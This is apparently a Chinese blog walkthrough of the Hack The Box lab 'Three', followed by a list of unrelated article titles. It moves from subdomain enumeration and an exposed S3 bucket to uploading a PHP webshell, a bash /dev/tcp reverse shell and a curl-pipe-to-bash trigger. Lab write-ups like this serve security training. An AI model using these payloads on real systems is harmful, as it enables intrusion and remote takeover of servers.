TIER 1: Three

信息收集

通过以前的练习,我们首先确认目标 IP 开放了哪些端口,比如使用 nmap 之类的工具进行扫描。本次靶机开放:

  • 22 端口:SSH, OpenSSH
  • 80 端口:HTTP, Apache

在浏览器中访问目标 IP,可以看到一个简单的网页。当然我们可以借助 Wappalyzer 判断网站使用的技术栈。

  • OS: Ubuntu
  • Web Servers: Apache
  • Programming Languages: PHP
  • Font scripts: Font Awesome, Google Font API
  • CDN: cdnjs, CloudFlare

这当然,信息收集不止于此。通过观察网站提供给我们的帮助信息,比如其中的电话、邮箱、备案信息等,我们可以进一步了解目标。像这个靶机,我们可以通过邮箱域名 thetoppers.htb 进行访问,先设置 hosts 文件,然后访问。

Sub-domain

子域名 sub-daomain 也是信息收集的一部分。它是指在域名的基础上,添加一个前缀,比如 www、mail、blog 等。

  • 我们可以通过子域名来访问不同的服务,比如 www、mail、blog 等。我们可以通过子域名来访问不同的服务,比如 www.thetoppers.htb、mail.thetoppers.htb、blog.thetoppers.htb 等。
  • 子域名可能指向不同的 IP,也可能指向同一个 IP。我们可以通过子域名来访问不同的服务。

我们尝试挖掘一下子域名,此处通过 gobuster 进行挖掘。

gobuster vhost -w ./subdomains-top1million-5000.txt -u http://thetoppers.htb

我们挖掘到 s3.thetoppers.htb 这个域名,然后在 hosts 文件中绑定。然后进行访问,在浏览器中我们看到一个 JSON 数据,通过开发者工具我们可以看到这是一个 AWS S3 的 Bucket。

AWS S3

S3(Simple Storage Service)是亚马逊网络服务(Amazon Web Services,AWS)提供的一种对象存储服务。S3 bucket 是 S3 中用于存储数据的容器。它类似于一个文件夹或存储桶,可以存储各种类型的数据,如文本文件、图像、视频、数据库备份等。

每个 S3 bucket 都有一个 全局唯一 的名称,并由 AWS 的特定地区和桶名称组成,例如:s3://mybucket

我们需要使用 awscli 进行访问。AWS CLI(AWS Command Line Interface)是一个用于与亚马逊网络服务(Amazon Web Services,AWS)进行交互的命令行工具。它使您能够通过命令行界面管理和操作 AWS 资源,而无需依赖于 AWS 管理控制台的图形用户界面。AWS CLI 提供了一组命令行命令,可以通过终端窗口或脚本来执行各种操作,如创建和管理云资源、配置安全性、访问AWS服务和API、上传和下载文件等。

aws --endpoint=http://s3.thetoppers.htb s3 ls
# 进一步查看 bucket 中的对象
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers
  • images/ 目录
  • .htaccess 文件
  • index.php 文件

这些内容是否眼熟,之前我们在靶机的网页的源码中看到过。awscli 可以上传文件,我们可以尝试上传 php 木马。

# 制作 php 木马
echo '<?php system($_GET["cmd"]); ?>' > shell.php # 上传 php 木马
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

尝试访问 http://thetoppers.htb/shell.php?cmd=id 进行测试。就结果而言,我们可以看到我们成功执行了命令。

反弹 shell

首先查看一下我们的 IP,编写 shell.sh 脚本,下面是内容。

#!/bin/bash
bash -i >& /dev/tcp/x.x.x.x/1337 0>&1
  • x.x.x.x 为我们的 IP
  • IP 记住是 tun0 的 IP

开启对应监听 nc -nvlp 1337

我们能够与靶机连接依托于 openvpn,在网络接口上应该使用 tun0 的 IP,当然如果你开了多个 vpn 连接,那么就需要注意一下。选择于靶机连接的网络接口,然后使用它的 IP 就对了。

使用 python3 -m http.server 8000 开启一个 http 服务。让靶机访问的 shell.sh 脚本。访问 http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash 反弹连接。

flag 位置:/var/www/flag.txt

TIER 1: Three的更多相关文章

  1. E-Business Suite 12.2 startCD 50 Install Fails with Fatal Error: TXK Install Service oracle.apps.fnd.txk.config.ProcessStateException: OUI process failed Cannot install Web Tier Utilities

    在rhel7.2上,使用startCD 50安装ebs r12.2的使用,安装到38%的时候就报错,遇到了和以下文章类似的问题: http://www.cnblogs.com/abclife/p/49 ...

  2. Tier和RBD Cache的区别

    相同点 缓存 数据不会持久保存在ssd或者内存:预读回写直写 都需要解决缓存数据和磁盘数据不一致和“内存页”置换的问题. 差异点 缓存的位置不同,tier是rados层在osd端进行数据缓存,也就是说 ...

  3. 在magneto系统中输出tier price的最小值

    2012年6月16日星期六 Asia/Shanghai上午11时39分22秒 有的时候,我们想输出产品的tier price 的最小值!如图: 下面是解决的办法: 1. 在catalog/produc ...

  4. Tier和Layer

    在实际开发工作中.我们经常听到"架构设计"和"架构师"这种名词,它并不新奇和神奇,可是却非常少有人对"架构"有全面的了解和认识.更谈不上掌握 ...

  5. Sharing The Application Tier File System in Oracle E-Business Suite Release 12.2

    The most current version of this document can be obtained in My Oracle Support Knowledge Document 13 ...

  6. WPF 渲染级别 (Tier)

    在WPF中,显卡的功能相差很大.当WPF评估显卡时,它会考虑许多因素,包括显卡上的RAM数量.对像素着色器(piexl shader)的支持(计算每个像素效果的内置程序,如透明效果),以及对顶点着色器 ...

  7. H265 Profile & Level & Tier 介绍

    H265/HEVC Profile Level Tier 档次.水平.等级 为了提供不同应用之间的兼容互通,HEVC/H265 定义了不同的编码 Profile 档次.Level 水平.Tier 等级 ...

  8. flume topology design . tier num 分层数目

    32:+:1 x:1 x<=8 https://flume.apache.org/FlumeUserGuide.html#flume-topology-design Flume topology ...

  9. CephFS cache tier实践

    这是一篇分享文,作者因为最近想深入研究下ceph的cache pool,作者写的文章非常的好,这里先直接翻译这篇文章,然后再加入我自己的相关数据 blog原文 作者想启动blog写下自己的Openst ...

  10. Dynamics AX 2012 R2 Service Middle Tier WCF WCF转发

    参考了蒋金楠老师08年的文章.好吧,那时候我才大二.大三,大神果然是大神. http://www.cnblogs.com/artech/archive/2008/09/01/1280939.html ...

随机推荐

  1. Ceph配置与认证授权

    目录 Ceph配置与认证授权 1. 为什么现在不采用修改配置文件的方式了呢? 2. Ceph元变量 3. 使用命令行修改配置 3.1 全部修改(使用服务名) 3.2 部分修改(修改进程) 3.3 临时 ...

  2. 使用爬虫利器 Playwright,轻松爬取抖查查数据

    使用爬虫利器 Playwright,轻松爬取抖查查数据 我们先分析登录的接口,其中 url 有一些非业务参数:ts.he.sign.secret. 然后根据这些参数作为关键词,定位到相关的 js 代码 ...

  3. Native如何使用Tunnel Mode

    mAudioSessionId = AudioSystem::newAudioUniqueId(AUDIO_UNIQUE_ID_USE_SESSION); mHwSync = AudioSystem: ...

  4. MyBatis完成CRUD 详细细节内容

    1. MyBatis完成CRUD 详细细节内容 @ 目录 1. MyBatis完成CRUD 详细细节内容 每博一文案 2. MyBatis工具类SqlSessionUtil的封装 3. 准备工作 3. ...

  5. flutter 打包web应用指定上下文

    使用flutter build web命令打包的应用不包含上下文,只能部署在根目录.如何指定上下文,部署在子目录下呢? 有两种办法: 1.修改web/index.html文件 修改 <base ...

  6. .NET 中使用 OpenTelemetry Traces 追踪应用程序

    上一次我们讲了 OpenTelemetry Logs.今天继续来说说 OpenTelemetry Traces. 在今天的微服务和云原生环境中,理解和监控系统的行为变得越来越重要.在当下我们实现一个功 ...

  7. dubbo~全局异常拦截器的使用与设计缺陷

    异常拦截器ExceptionMapper 在JAX-RS(Java API for RESTful Web Services)中,ExceptionMapper接口用于将Java异常映射到HTTP响应 ...

  8. 架构与思维:了解Http 和 Https的区别(图文详解)

    1 介绍 随着 HTTPS 的不断普及和使用成本的下降,现阶段大部分的系统都已经开始用上 HTTPS 协议. HTTPS 与 HTTP 相比, 主打的就是安全概念,相关的知识如 SSL .非对称加密. ...

  9. 面试官:为什么重写equals方法必须要重新hashCode方法?

    网络上解释的很全面但是很枯涩,也有些难懂,其实就是为了保证当该对象作为key时哈希表的检索效率.如HashMap的get方法是分两步获取的 第一步通过key的哈希值找到对应的哈希桶 第二步通过equa ...

  10. 如何使用csproj构建C#源代码组件NuGet包?

    一般我们构建传统的NuGet包,都是打包和分发dll程序集文件. 至于打包和分发C#源代码文件的做法,比较少见. 那么这种打包源代码文件的做法,有什么优点和缺点呢? 优点: 方便阅读源代码. 方便断点 ...